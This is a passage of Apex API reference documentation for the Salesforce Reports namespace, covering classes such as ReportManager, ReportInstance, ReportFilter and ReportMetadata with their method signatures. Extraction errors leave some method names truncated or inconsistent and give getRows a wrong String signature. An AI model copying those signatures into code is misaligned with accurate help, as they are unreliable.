        Reports.ReportResults results = context.getReportInstance().getReportResults();
        for (Reports.GroupingValue g : results.getGroupingsDown().getGroupings()) {
            FeedItem t = new FeedItem();
            t.ParentId = (Id) g.getValue();
            t.Body = 'This record needs attention. Please view the report.';
            t.Title = 'Needs Attention: ' + results.getReportMetadata().getName();
            t.LinkUrl = '/' + results.getReportMetadata().getId();
            insert t;
        }
    }
}
```

**NotificationActionContext Class**

Contains information about the report instance and condition threshold for a report notification.

**Namespace**

*Reports*

**IN THIS SECTION:**

- NotificationActionContext Constructors
- NotificationActionContext Methods

**NotificationActionContext Constructors**

The following are constructors for `NotificationActionContext`.

**IN THIS SECTION:**

- `NotificationActionContext(reportInstance, thresholdInformation)`
  Creates a new instance of the `Reports.NotificationActionContext` class using the specified parameters.

**NotificationActionContext(reportInstance, thresholdInformation)**

Creates a new instance of the `Reports.NotificationActionContext` class using the specified parameters.

**Signature**

```java
public NotificationActionContext (Reports.ReportInstance reportInstance, Reports.ThresholdInformation thresholdInformation)
```
Parameters

- **reportInstance**
  - Type: `Reports.ReportInstance`
  - An instance of a report.

- **thresholdInformation**
  - Type: `Reports.ThresholdInformation`
  - The evaluated conditions for the notification.

### NotificationActionContext Methods

The following are methods for `NotificationActionContext`.

**IN THIS SECTION:**

- **getReportInstance()**
  - Returns the report instance associated with the notification.

- **getThresholdInformation()**
  - Returns the threshold information associated with the notification.

#### getReportInstance()

**Returns** the report instance associated with the notification.

**Signature**

```java
public Reports.ReportInstance getReportInstance()
```

**Return Value**

Type: `Reports.ReportInstance`

#### getThresholdInformation()

**Returns** the threshold information associated with the notification.

**Signature**

```java
public Reports.ThresholdInformation getThresholdInformation()
```

**Return Value**

Type: `Reports.ThresholdInformation`

### ReportCurrency Class

Contains information about a currency value, including the amount and currency code.
Namespace
Reports

ReportCurrency Methods
The following are methods for ReportCurrency. All are instance methods.

IN THIS SECTION:
  getAmount()
  Returns the amount of the currency value.
  getCurrencyCode()
  Returns the report currency code, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is null if the organization does not have multicurrency enabled.

getAmount()
Returns the amount of the currency value.

Syntax
public Decimal getAmount() 

Return Value
Type: Decimal

getCurrencyCode()
Returns the report currency code, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is null if the organization does not have multicurrency enabled.

Syntax
public String getCurrencyCode() 

Return Value
Type: String

ReportDataCell Class
Contains the data for a cell in the report, including the display label and value.

Namespace
Reports
ReportDataCell Methods

The following are methods for ReportDataCell. All are instance methods.

IN THIS SECTION:
  getLabel()
  Returns the localized display name of the value of a specified cell in the report.
  getValue()
  Returns the value of a specified cell of a detail row of a report.

getLabel ()

Returns the localized display name of the value of a specified cell in the report.

Syntax

public String getLabel()

Return Value
Type: String

getValue ()

Returns the value of a specified cell of a detail row of a report.

Syntax

public Object getValue()

Return Value
Type: Object

ReportDescribeResult Class

Contains report, report type, and extended metadata for a tabular, summary, or matrix report.

Namespace

Reports

ReportDescribeResult Methods

The following are methods for ReportDescribeResult. All are instance methods.
IN THIS SECTION:

getReportExtendedMetadata()
Returns additional information about grouping and summaries.

gReportMetadata()
Returns unique identifiers for groupings and summaries.

gReportTypeMetadata()
Returns the fields in each section of a report type, plus filtering information for those fields.

**getReportExtendedMetadata()**

Returns additional information about grouping and summaries.

**Syntax**

```java
public Reports.ReportExtendedMetadata getReportExtendedMetadata()
```

**Return Value**

Type: `Reports.ReportExtendedMetadata`

**getReportMetadata()**

Returns unique identifiers for groupings and summaries.

**Syntax**

```java
public Reports.ReportMetadata getReportMetadata()
```

**Return Value**

Type: `Reports.ReportMetadata`

**getReportTypeMetadata()**

Returns the fields in each section of a report type, plus filtering information for those fields.

**Syntax**

```java
public Reports.ReportTypeMetadata getReportTypeMetadata()
```

**Return Value**

Type: `Reports.ReportTypeMetadata`

**ReportDetailRow Class**

Contains data cells for a detail row of a report.
Namespace
Reports

ReportDetailRow Methods
The following are methods for ReportDetailRow. All are instance methods.

IN THIS SECTION:
g getDataCells()
  Returns a list of data cells for a detail row.

g getDataCells()
  Returns a list of data cells for a detail row.

Syntax

public LIST<Reports.ReportDataCell> getDataCells()

Return Value
Type: List<Reports.ReportDataCell>

ReportDivisionInfo Class
Contains information about the divisions that can be used to filter a report.
Available only if your organization uses divisions to segment data and you have the “Affected by Divisions” permission. If you do not have the “Affected by Divisions” permission, your reports include records in all divisions.

Namespace
Reports

Usage
Use to filter records in the report based on a division, like West Coast and East Coast.

ReportDivisionInfo Methods
The following are methods for ReportDivisionInfo.

g getDefaultValue()
  Returns the default division for the report.
Signature
public String getDefaultValue()

Return Value
Type: String

getValues()
Returns a list of all possible divisions for the report.

Signature
public List<Reports.FilterValue> getValues()

Return Value
Type: List<Reports.FilterValue>

ReportExtendedMetadata Class
Contains report extended metadata for a tabular, summary, or matrix report.

Namespace
Reports
Report extended metadata provides additional, detailed metadata about summary and grouping fields, including data type and label information.

ReportExtendedMetadata Methods
The following are methods for ReportExtendedMetadata. All are instance methods.

IN THIS SECTION:
getAggregateColumnInfo() Returns all report summaries such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Contains values for each summary that is listed in the report metadata.
getDetailColumnInfo() Returns a map of two properties for each field that has detailed data identified by its unique API name. The detailed data fields are also listed in the report metadata.
getGroupingColumnInfo() Returns a map of each row or column grouping to its metadata. Contains values for each grouping that is identified in the groupingsDown and groupingsAcross lists.
getAggregateColumnInfo()
Returns all report summaries such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Contains values for each summary that is listed in the report metadata.

Syntax
public MAP<String,Reports.AggregateColumn> getAggregateColumnInfo()

Return Value
Type: Map<String,Reports.AggregateColumn>

detailColumnInfo()
Returns a map of two properties for each field that has detailed data identified by its unique API name. The detailed data fields are also listed in the report metadata.

Syntax
public MAP<String,Reports.DetailColumn> detailColumnInfo()

Return Value
Type: Map<String,Reports.DetailColumn>

groupingColumnInfo()
Returns a map of each row or column grouping to its metadata. Contains values for each grouping that is identified in the groupingsDown and groupingsAcross lists.

Syntax
public MAP<String,Reports.GroupingColumn> groupingColumnInfo()

Return Value
Type: Map<String,Reports.GroupingColumn>

ReportFact Class
Contains the fact map for the report, which represents the report’s data values.

Namespace
Reports
Usage

ReportFact is the parent class of ReportFactWithDetails. If includeDetails is true when the report is run, the fact map is a ReportFactWithDetails object.

ReportFact Methods

The following are methods for ReportFact. All are instance methods.

IN THIS SECTION:
  
  getAggregates()
  Returns summary-level data for a report, including the record count.

  getKey()
  Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.

getAggregates()
Returns summary-level data for a report, including the record count.

Syntax

public LIST<Reports.SummaryValue> getAggregates()

Return Value

Type: List<Reports.SummaryValue>

getKey()

Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.

Syntax

public String getKey()

Return Value

Type: String

ReportFactWithDetails Class

Contains the detailed fact map for the report, which represents the report’s data values.

Namespace

Reports
Usage

The `ReportFactWithDetails` class extends the `ReportFact` class. A `ReportFactWithDetails` object is returned if `includeDetails` is set to `true` when the report is run. To access the detail values, you’ll need to cast the return value of the `ReportResults.getFactMap` method to a `ReportFactWithDetails` object.

ReportFactWithDetails Methods

The following are methods for `ReportFactWithDetails`. All are instance methods.

IN THIS SECTION:

- `getAggregates()`
  - Returns summary-level data for a report, including the record count.
- `getKey()`
  - Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.
- `getRows()`
  - Returns a list of detailed report data in the order of the detail columns that are provided by the report metadata.

**getAggregates()**

Returns summary-level data for a report, including the record count.

**Syntax**

```java
public LIST<Reports.SummaryValue> getAggregates()
```

**Return Value**

Type: `List<Reports.SummaryValue>`

**getKey()**

Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.

**Syntax**

```java
public String getKey()
```

**Return Value**

Type: `String`

**getRows()**

Returns a list of detailed report data in the order of the detail columns that are provided by the report metadata.

**Syntax**

```java
public String getRows()
```
Syntax

```
public LIST<Reports.ReportDetailRow> getRows()
```

Return Value

Type: List<Reports.ReportDetailRow>

ReportFilter Class

Contains information about a report filter, including column, operator, and value.

Namespace

Reports

IN THIS SECTION:

- ReportFilter Constructors
- ReportFilter Methods

ReportFilter Constructors

The following are constructors for ReportFilter.

IN THIS SECTION:

- ReportFilter()
- ReportFilter(column, operator, value)

**ReportFilter()**

Creates a new instance of the Reports.ReportFilter class. You can then set values by using the “set” methods.

**ReportFilter(column, operator, value)**

Creates a new instance of the Reports.ReportFilter class by using the specified parameters.

**Signature**

```
public ReportFilter()
```

```
public ReportFilter(String column, String operator, String value)
```
Parameters

- column
  Type: String
- operator
  Type: String
- value
  Type: String

ReportFilter Methods

The following are methods for ReportFilter. All are instance methods.

IN THIS SECTION:

- getColumn()
  Returns the unique API name for the field that’s being filtered.

- getOperator()
  Returns the unique API name for the condition that is used to filter a field, such as “greater than” or “not equal to.” Filter conditions depend on the data type of the field.

- getValue()
  Returns the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.

- setColumn(column)
  Sets the unique API name for the field that’s being filtered.

- setOperator(operator)
  Sets the unique API name for the condition that is used to filter a field, such as “greater than” or “not equal to.” Filter conditions depend on the data type of the field.

- setValue(value)
  Sets the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.

getColumn()

Returns the unique API name for the field that’s being filtered.

Syntax

```java
public String getColumn()
```

Return Value

Type: String

getOperator()

Returns the unique API name for the condition that is used to filter a field, such as “greater than” or “not equal to.” Filter conditions depend on the data type of the field.
Syntax
public String getOperator()

Return Value
Type: String

getValue()
Returns the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.

Syntax
public String getValue()

Return Value
Type: String

setColumn(column)
Sets the unique API name for the field that is being filtered.

Syntax
public Void setColumn(String column)

Parameters
column
  Type: String

Return Value
Type: Void

setOperator(operator)
Sets the unique API name for the condition that is used to filter a field, such as "greater than" or "not equal to." Filter conditions depend on the data type of the field.

Syntax
public Void setOperator(String operator)

Parameters
operator
  Type: String
Return Value
Type: Void

**setValue(value)**
Sets the value by which a field can be filtered. For example, the field Age can be filtered by a numeric value.

Syntax
```
public Void setValue(String value)
```

Parameters
- **value**
  Type: String

Return Value
Type: Void

**ReportFormat Enum**
Contains the possible report format types.

**Namespace**
*Reports*

**Enum Values**
The following are the values of the Reports.ReportFormat enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>MATRIX</td>
<td>Matrix report format</td>
</tr>
<tr>
<td>SUMMARY</td>
<td>Summary report format</td>
</tr>
<tr>
<td>TABULAR</td>
<td>Tabular report format</td>
</tr>
</tbody>
</table>

**ReportInstance Class**
Returns an instance of a report that was run asynchronously. Retrieves the results for that instance.

**Namespace**
*Reports*
ReportInstance Methods

The following are methods for ReportInstance. All are instance methods.

IN THIS SECTION:

getCompletionDate()
Returns the date and time when the instance of the report finished running. The completion date is available only if the report instance ran successfully or couldn't be run because of an error. Date and time information is in ISO-8601 format.

gId()
Returns the unique ID for an instance of a report that was run asynchronously.

gOwnerId()
Returns the ID of the user who created the report instance.

gReportId()
Returns the unique ID of the report this instance is based on.

gReportResults()
Retrieves results for an instance of an asynchronous report. When you request your report, you can specify whether to summarize data or include details.

gRequestDate()
Returns the date and time when an instance of the report was run. Date and time information is in ISO-8601 format.

gStatus()
Returns the status of a report.

gCompletionDate()
Returns the date and time when the instance of the report finished running. The completion date is available only if the report instance ran successfully or couldn't be run because of an error. Date and time information is in ISO-8601 format.

Syntax

public Datetime getCompletionDate()

Return Value

Type: Datetime

gId()

Returns the unique ID for an instance of a report that was run asynchronously.

Syntax

public Id getId()

Return Value

Type: Id
**getOwnerId()**
Returns the ID of the user who created the report instance.

Syntax
```
public Id getOwnerId()
```

**Return Value**
Type: Id

**getReportId()**
Returns the unique ID of the report this instance is based on.

Syntax
```
public Id getReportId()
```

**Return Value**
Type: Id

**getReportResults()**
Retrieves results for an instance of an asynchronous report. When you request your report, you can specify whether to summarize data or include details.

Syntax
```
public Reports.ReportResults getReportResults()
```

**Return Value**
Type: Reports.ReportResults

**getRequestDate()**
Returns the date and time when an instance of the report was run. Date and time information is in ISO-8601 format.

Syntax
```
public Datetime getRequestDate()
```

**Return Value**
Type: Datetime
**getStatus()**

Returns the status of a report.

**Syntax**

```java
public String getStatus()
```

**Return Value**

Type: String

**Usage**

- **New** if the report run was recently triggered through a request.
- **Success** if the report ran.
- **Running** if the report is being run.
- **Error** if the report run failed. The instance of a report run can return an error if, for example, your permission to access the report was removed after you requested the run.

---

**ReportManager Class**

Runs a report synchronously or asynchronously and with or without details.

**Namespace**

Reports

**Usage**

Gets instances of reports and describes the metadata of Reports.

**ReportManager Methods**

The following are methods for `ReportManager`. All methods are static.

IN THIS SECTION:

- `describeReport(reportId)`
  Retrieves report, report type, and extended metadata for a tabular, summary, or matrix report.

- `getDatatypeFilterOperatorMap()`
  Lists the field data types that you can use to filter the report.

- `getReportInstance(instanceId)`
  Retrieves results for an instance of a report that has been run asynchronously. The settings you use when you run your asynchronous report determine whether you can retrieve summary data or detailed data.

- `getReportInstances(reportId)`
  Returns a list of instances for a report that was run asynchronously. Each item in the list represents a separate instance of the report, with metadata for the time at which the report was run.
runAsyncReport(reportId, reportMetadata, includeDetails)
Runs a report asynchronously with the report ID. Includes details if includeDetails is set to true. Filters the report based on the report metadata in reportMetadata.

runAsyncReport(reportId, includeDetails)
Runs a report asynchronously with the report ID. Includes details if includeDetails is set to true.

runAsyncReport(reportId, reportMetadata)
Runs a report asynchronously with the report ID. Filters the results based on the report metadata in reportMetadata.

runAsyncReport(reportId)
Runs a report asynchronously with the report ID.

runReport(reportId, reportMetadata, includeDetails)
Runs a report immediately with the report ID. Includes details if includeDetails is set to true. Filters the results based on the report metadata in reportMetadata.

runReport(reportId, includeDetails)
Runs a report immediately with the report ID. Includes details if includeDetails is set to true.

runReport(reportId, reportMetadata)
Runs a report immediately with the report ID. Filters the results based on the report metadata in reportMetadata.

runReport(reportId)
Runs a report immediately with the report ID.

describeReport(reportId)
Retrieves report, report type, and extended metadata for a tabular, summary, or matrix report.

Syntax
public static Reports.ReportDescribeResult describeReport(Id reportId)

Parameters
reportId
Type: Id

Return Value
Type: Reports.ReportDescribeResult

getDatatypeFilterOperatorMap()
Lists the field data types that you can use to filter the report.

Syntax
public static MAP<String, LIST<Reports.FilterOperator>> getDatatypeFilterOperatorMap()

Return Value
Type: Map<String, List<Reports.FilterOperator>>
**getReportInstance(instanceId)**
Retrieves results for an instance of a report that has been run asynchronously. The settings you use when you run your asynchronous report determine whether you can retrieve summary data or detailed data.

**Syntax**
```java
public static Reports.ReportInstance getReportInstance(Id instanceId)
```

**Parameters**
- instanceId
  - Type: Id

**Return Value**
- Type: Reports.ReportInstance

**getReportInstances(reportId)**
Returns a list of instances for a report that was run asynchronously. Each item in the list represents a separate instance of the report, with metadata for the time at which the report was run.

**Syntax**
```java
public static LIST<Reports.ReportInstance> getReportInstances(Id reportId)
```

**Parameters**
- reportId
  - Type: Id

**Return Value**
- Type: List<Reports.ReportInstance>

**runAsyncReport(reportId, reportMetadata, includeDetails)**
Runs a report asynchronously with the report ID. Includes details if `includeDetails` is set to `true`. Filters the report based on the report metadata in `reportMetadata`.

**Syntax**
```java
public static Reports.ReportInstance runAsyncReport(Id reportId, Reports.ReportMetadata reportMetadata, Boolean includeDetails)
```

**Parameters**
- reportId
  - Type: Id
runAsyncReport(reportId, includeDetails)
Runs a report asynchronously with the report ID. Includes details if includeDetails is set to true.

Syntax
public static Reports.ReportInstance runAsyncReport(Id reportId, Boolean includeDetails)

Parameters
reportId
Type: Id
includeDetails
Type: Boolean

Return Value
Type: Reports.ReportInstance

runAsyncReport(reportId, reportMetadata)
Runs a report asynchronously with the report ID. Filters the results based on the report metadata in reportMetadata.

Syntax
public static Reports.ReportInstance runAsyncReport(Id reportId, Reports.ReportMetadata reportMetadata)

Parameters
reportId
Type: Id
reportMetadata
Type: Reports.ReportMetadata

Return Value
Type: Reports.ReportInstance
runAsyncReport(reportId)
Runs a report asynchronously with the report ID.

Syntax
public static Reports.ReportInstance runAsyncReport(Id reportId)

Parameters
reportId
Type: Id

Return Value
Type: Reports.ReportInstance

runReport(reportId, reportMetadata, includeDetails)
Runs a report immediately with the report ID. Includes details if includeDetails is set to true. Filters the results based on the report metadata in reportMetadata.

Syntax
public static Reports.ReportResults runReport(Id reportId, Reports.ReportMetadata reportMetadata, Boolean includeDetails)

Parameters
reportId
Type: Id
reportMetadata
Type: Reports.ReportMetadata
includeDetails
Type: Boolean

Return Value
Type: Reports.ReportResults

runReport(reportId, includeDetails)
Runs a report immediately with the report ID. Includes details if includeDetails is set to true.

Syntax
public static Reports.ReportResults runReport(Id reportId, Boolean includeDetails)
Parameters

reportId
  Type: Id

includeDetails
  Type: Boolean

Return Value
Type: Reports.ReportResults

runReport(reportId, reportMetadata)
Runs a report immediately with the report ID. Filters the results based on the report metadata in \textit{rmData}.

Syntax

\texttt{public static Reports.ReportResults runReport(Id reportId, Reports.ReportMetadata reportMetadata)}

Parameters

reportId
  Type: Id

reportMetadata
  Type: Reports.ReportMetadata

Return Value
Type: Reports.ReportResults

runReport(reportId)
Runs a report immediately with the report ID.

Syntax

\texttt{public static Reports.ReportResults runReport(Id reportId)}

Parameters

reportId
  Type: Id

Return Value
Type: Reports.ReportResults
ReportMetadata Class

Contains report metadata for a tabular, summary, or matrix report.

Namespace

Reports

Usage

Report metadata gives information about the report as a whole, such as the report type, format, summary fields, row or column groupings, and filters that are saved to the report. You can use the `ReportMetadata` class to retrieve report metadata and to set metadata that can be used to filter a report.

ReportMetadata Methods

The following are methods for `ReportMetadata`. All are instance methods.

IN THIS SECTION:

- `getAggregates()`
  Returns unique identifiers for summary or custom summary formula fields in the report.

- `getCurrencyCode()`
  Returns report currency, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is `null` if the organization does not have multicurrency enabled.

- `getDescription()`
  Returns the description of the report.

- `getDetailColumns()`
  Returns unique API names (column names) for the fields that contain detailed data. For example, the method might return the following values: “OPPORTUNITY_NAME, TYPE, LEAD_SOURCE, AMOUNT.”

- `getDeveloperName()`
  Returns the report API name. For example, the method might return the following value: “Closed_Sales_This_Quarter.”

- `getDivision()`
  Returns the division specified in the report.

- `getGroupingsAcross()`
  Returns column groupings in a report.

- `getGroupingsDown()`
  Returns row groupings for a report.

- `getHasDetailRows()`
  Indicates whether the report has detail rows.

- `getHasRecordCount()`
  Indicates whether the report shows the total number of records.

- `getHistoricalSnapshotDates()`
  Returns a list of historical snapshot dates.
getId()  
Returns the unique report ID.

getName()  
Returns the report name.

getReportBooleanFilter()  
Returns logic to parse custom field filters. The value is null when filter logic is not specified.

getReportFilters()  
Returns a list of each custom filter in the report along with the field name, filter operator, and filter value.

getReportFormat()  
Returns the format of the report.

getReportType()  
Returns the unique API name and display name for the report type.

getScope()  
Returns the API name for the scope defined for the report. Scope values depend on the report type.

getShowGrandTotal()  
Indicates whether the report shows the grand total.

getShowSubtotals()  
Indicates whether the report shows subtotals, such as column or row totals.

getSortBy()  
Returns the list of columns on which the report is sorted. Currently, you can sort on only one column.

getStandardDateFilter()  
Returns information about the standard date filter for the report, such as the start date, end date, date range, and date field API name.

getStandardFilters()  
Returns a list of standard filters for the report.

setAggregates(aggregates)  
Sets unique identifiers for standard or custom summary formula fields in the report.

setCurrencyCode(currencyCode)  
Sets the currency, such as USD, EUR, or GBP, for report summary fields in an organization that has multicurrency enabled.

setDescription(description)  
Sets the description of the report.

setDetailColumns(detailColumns)  
Sets the unique API names for the fields that contain detailed data—for example, OPPORTUNITY_NAME, TYPE, LEAD_SOURCE, or AMOUNT.

setDeveloperName(developerName)  
Sets the report API name—for example, Closed_Sales_This_Quarter.

setDivision(division)  
Sets the division of the report.

setGroupingsAcross(groupingInfo)  
Sets column groupings in a report.
setGroupingsDown(groupingInfo)
Sets row groupings for a report.

setHasDetailRows(hasDetailRows)
Specifies whether the report has detail rows.

setHasRecordCount(hasRecordCount)
Specifies whether the report is configured to show the total number of records.

setHistoricalSnapshotDates(historicalSnapshot)
Sets a list of historical snapshot dates.

setId(id)
Sets the unique report ID.

setName(name)
Sets the report name.

setReportBooleanFilter(reportBooleanFilter)
Sets logic to parse custom field filters.

setReportFilters(reportFilters)
Sets a list of each custom filter in the report along with the field name, filter operator, and filter value.

setReportFormat(format)
Sets the format of the report.

setReportType(reportType)
Sets the unique API name and display name for the report type.

setScope(scopeName)
Sets the API name for the scope defined for the report. Scope values depend on the report type.

setShowGrandTotal(showGrandTotal)
Specifies whether the report shows the grand total.

setShowSubtotals(showSubtotals)
Specifies whether the report shows subtotals, such as column or row totals.

setSortBy(column)
Sets the list of columns on which the report is sorted. Currently, you can only sort on one column.

setStandardDateFilter(dateFilter)
Sets the standard date filter—which includes the start date, end date, date range, and date field API name—for the report.

setStandardFilters(filters)
Sets one or more standard filters on the report.

getAggregates()

Returns unique identifiers for summary or custom summary formula fields in the report.

Syntax

public LIST<String> getAggregates()
Return Value
Type: List<String>

Usage
For example:
- `a!Amount` represents the average for the `Amount` column.
- `s!Amount` represents the sum of the `Amount` column.
- `m!Amount` represents the minimum value of the `Amount` column.
- `x!Amount` represents the maximum value of the `Amount` column.
- `s!<customfieldID>` represents the sum of a custom field column. For custom fields and custom report types, the identifier is a combination of the summary type and the field ID.

**getCurrencyCode()**
Returns report currency, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is `null` if the organization does not have multicurrency enabled.

**Syntax**
public String getCurrencyCode()

**Return Value**
Type: String

**getDescription()**
Returns the description of the report.

**Signature**
public String getDescription()

**Return Value**
Type: String

**getDetailColumns()**
Returns unique API names (column names) for the fields that contain detailed data. For example, the method might return the following values: "OPPORTUNITY_NAME, TYPE, LEAD_SOURCE, AMOUNT."

**Syntax**
public LIST<String> getDetailColumns()
Return Value
Type: List<String>

getDeveloperName()
Returns the report API name. For example, the method might return the following value: “Closed_Sales_This_Quarter.”

Syntax
public String getDeveloperName()

Return Value
Type: String

getDivision()
Returns the division specified in the report.

Note: Reports that use standard filters (such as My Cases or My Team’s Accounts) show records in all divisions. These reports can’t be further limited to a specific division.

Signature
public String getDivision()

Return Value
Type: String

groupingsAcross()
Returns column groupings in a report.

Syntax
public LIST<Reports.GroupingInfo> getGroupingsAcross()

Return Value
Type: List<Reports.GroupingInfo>

Usage
The identifier is:
- An empty array for reports in summary format, because summary reports don’t include column groupings
- BucketField_<ID> for bucket fields
- The ID of a custom field when the custom field is used for a column grouping
**getGroupingsDown()**

Returns row groupings for a report.

**Syntax**

```java
public LIST<Reports.GroupingInfo> getGroupingsDown()
```

**Return Value**

Type: `List<Reports.GroupingInfo>`

**Usage**

The identifier is:

- `BucketField_(ID)` for bucket fields
- The ID of a custom field when the custom field is used for grouping

---

**getHasDetailRows()**

Indicates whether the report has detail rows.

**Signature**

```java
public Boolean getHasDetailRows()
```

**Return Value**

Type: `Boolean`

---

**getHasRecordCount()**

Indicates whether the report shows the total number of records.

**Signature**

```java
public Boolean getHasRecordCount()
```

**Return Value**

Type: `Boolean`

---

**getHistoricalSnapshotDates()**

Returns a list of historical snapshot dates.

**Syntax**

```java
public LIST<String> getHistoricalSnapshotDates()
```
Return Value
Type: List<String>

**getId()**
Returns the unique report ID.

Syntax
```java
public Id getId()
```

Return Value
Type: Id

**getName()**
Returns the report name.

Syntax
```java
public String getName()
```

Return Value
Type: String

**getReportBooleanFilter()**
Returns logic to parse custom field filters. The value is `null` when filter logic is not specified.

Syntax
```java
public String getReportBooleanFilter()
```

Return Value
Type: String

**getReportFilters()**
Returns a list of each custom filter in the report along with the field name, filter operator, and filter value.

Syntax
```java
public LIST<Reports.ReportFilter> getReportFilters()
```

Return Value
Type: List<Reports.ReportFilter>
getReportFormat()  
Returns the format of the report.

Syntax  
public Reports.ReportFormat getReportFormat()  

Return Value  
Type: Reports.ReportFormat

Usage  
This value can be:  
- TABULAR  
- SUMMARY  
- MATRIX

getReportType()  
Returns the unique API name and display name for the report type.

Syntax  
public Reports.ReportType getReportType()  

Return Value  
Type: Reports.ReportType

getScope()  
Returns the API name for the scope defined for the report. Scope values depend on the report type.

Signature  
public String getScope()  

Return Value  
Type: String

getShowGrandTotal()  
Indicates whether the report shows the grand total.

Signature  
public Boolean getShowGrandTotal()
Return Value
Type: Boolean

**getShowSubtotals()**
Indicates whether the report shows subtotals, such as column or row totals.

**Signature**
```
public Boolean getShowSubtotals()
```

Return Value
Type: Boolean

**getSortBy()**
Returns the list of columns on which the report is sorted. Currently, you can sort on only one column.

**Signature**
```
public List<Reports.SortColumn> getSortBy()
```

Return Value
Type: List<Reports.SortColumn>

**getStandardDateFilter()**
Returns information about the standard date filter for the report, such as the start date, end date, date range, and date field API name.

**Signature**
```
public Reports.StandardDateFilter getStandardDateFilter()
```

Return Value
Type: Reports.StandardDateFilter

**getStandardFilters()**
Returns a list of standard filters for the report.

**Signature**
```
public List<Reports.StandardFilter> getStandardFilters()
```

Return Value
Type: List<Reports.StandardFilter>
**setAggregates** (aggregates)  
Sets unique identifiers for standard or custom summary formula fields in the report.

**Signature**  
```java  
public void setAggregates(List<String> aggregates)  
```

**Parameters**  
aggregates  
Type: List<String>

**ReturnValue**  
Type: void

**setCurrencyCode** (currencyCode)  
Sets the currency, such as USD, EUR, or GBP, for report summary fields in an organization that has multicurrency enabled.

**Signature**  
```java  
public void setCurrencyCode(String currencyCode)  
```

**Parameters**  
currencyCode  
Type: String

**ReturnValue**  
Type: void

**setDescription** (description)  
Sets the description of the report.

**Signature**  
```java  
public void setDescription(String description)  
```

**Parameters**  
description  
Type: String

**ReturnValue**  
Type: void
**setDetailColumns(detailColumns)**

Sets the unique API names for the fields that contain detailed data—for example, OPPORTUNITY_NAME, TYPE, LEAD_SOURCE, or AMOUNT.

**Signature**

```java
public void setDetailColumns(List<String> detailColumns)
```

**Parameters**

- `detailColumns`  
  Type: `List<String>`

**Return Value**

Type: `void`

---

**setDeveloperName(developerName)**

Sets the report API name—for example, Closed_Sales_This_Quarter.

**Signature**

```java
public void setDeveloperName(String developerName)
```

**Parameters**

- `developerName`  
  Type: `String`

**Return Value**

Type: `void`

---

**setDivision(division)**

Sets the division of the report.

![Note: Reports that use standard filters (such as My Cases or My Team’s Accounts) show records in all divisions. These reports can’t be further limited to a specific division.](image)

**Signature**

```java
public void setDivision(String division)
```

**Parameters**

- `division`  
  Type: `String`
Return Value
Type: void

**setGroupingsAcross** (groupingInfo)
Sets column groupings in a report.

**Signature**

```java
public void setGroupingsAcross(List<Reports.GroupingInfo> groupingInfo)
```

**Parameters**

- **groupingInfo**
  Type: List<Reports.GroupingInfo>

Return Value
Type: void

**setGroupingsDown** (groupingInfo)
Sets row groupings for a report.

**Signature**

```java
public void setGroupingsDown(List<Reports.GroupingInfo> groupingInfo)
```

**Parameters**

- **groupingInfo**
  Type: List<Reports.GroupingInfo>

Return Value
Type: void

**setHasDetailRows** (hasDetailRows)
Specifies whether the report has detail rows.

**Signature**

```java
public void setHasDetailRows(Boolean hasDetailRows)
```

**Parameters**

- **hasDetailRows**
  Type: Boolean
Return Value
Type: void

**setHasRecordCount(hasRecordCount)**
Specifies whether the report is configured to show the total number of records.

**Signature**
```
public void setHasRecordCount(Boolean hasRecordCount)
```

**Parameters**
- **hasRecordCount**
  Type: Boolean

Return Value
Type: void

**setHistoricalSnapshotDates(historicalSnapshot)**
Sets a list of historical snapshot dates.

**Syntax**
```
public Void setHistoricalSnapshotDates(LIST<String> historicalSnapshot)
```

**Parameters**
- **historicalSnapshot**
  Type: List<String>

Return Value
Type: Void

**setId(id)**
Sets the unique report ID.

**Signature**
```
public void setId(Id id)
```

**Parameters**
- **id**
  Type: Id
Return Value
Type: void

setName (name)
Sets the report name.

Signature
public void setName(String name)

Parameters
name
Type: String

Return Value
Type: void

setReportBooleanFilter (reportBooleanFilter)
Sets logic to parse custom field filters.

Syntax
public Void setReportBooleanFilter(String reportBooleanFilter)

Parameters
reportBooleanFilter
Type: String

Return Value
Type: Void

setReportFilters (reportFilters)
Sets a list of each custom filter in the report along with the field name, filter operator, and filter value.

Syntax
public Void setReportFilters(LIST<Reports.ReportFilter> reportFilters)

Parameters
reportFilters
Type: List<Reports.ReportFilter>
Return Value
Type: Void

**setReportFormat(format)**
Sets the format of the report.

**Signature**
```java
public void setReportFormat(Reports.ReportFormat format)
```

**Parameters**
- **format**
  Type: *Reports.ReportFormat*

Return Value
Type: void

**setReportType(reportType)**
Sets the unique API name and display name for the report type.

**Signature**
```java
public void setReportType(Reports.ReportType reportType)
```

**Parameters**
- **reportType**
  Type: *Reports.ReportType*

Return Value
Type: void

**setScope(scopeName)**
Sets the API name for the scope defined for the report. Scope values depend on the report type.

**Signature**
```java
public void setScope(String scopeName)
```

**Parameters**
- **scopeName**
  Type: *String*
setShowGrandTotal(showGrandTotal)

Specifies whether the report shows the grand total.

Signature

```
public void setShowGrandTotal(Boolean showGrandTotal)
```

Parameters

```
showGrandTotal
  Type: Boolean
```

Return Value

Type: void

setShowSubtotals(showSubtotals)

Specifies whether the report shows subtotals, such as column or row totals.

Signature

```
public void setShowSubtotals(Boolean showSubtotals)
```

Parameters

```
showSubtotals
  Type: Boolean
```

Return Value

Type: void

setSortBy(column)

Sets the list of columns on which the report is sorted. Currently, you can only sort on one column.

Signature

```
public void setSortBy(List<Reports.SortColumn> column)
```

Parameters

```
column
  Type: List<Reports.SortColumn>
```
Return Value
Type: void

**setStandardDateFilter(dateFilter)**
Sets the standard date filter—which includes the start date, end date, date range, and date field API name—for the report.

**Signature**
```java
public void setStandardDateFilter(Reports.StandardDateFilter dateFilter)
```

**Parameters**
- **dateFilter**
  Type: Reports.StandardDateFilter

Return Value
Type: void

